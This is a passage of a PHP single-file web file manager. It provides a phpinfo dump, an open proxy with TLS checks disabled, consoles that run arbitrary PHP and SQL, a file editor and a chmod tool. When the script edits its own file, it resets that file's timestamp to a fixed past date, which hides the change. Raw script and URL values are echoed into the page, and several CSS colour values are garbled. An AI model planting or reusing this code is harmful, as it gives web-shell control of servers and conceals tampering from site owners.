	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
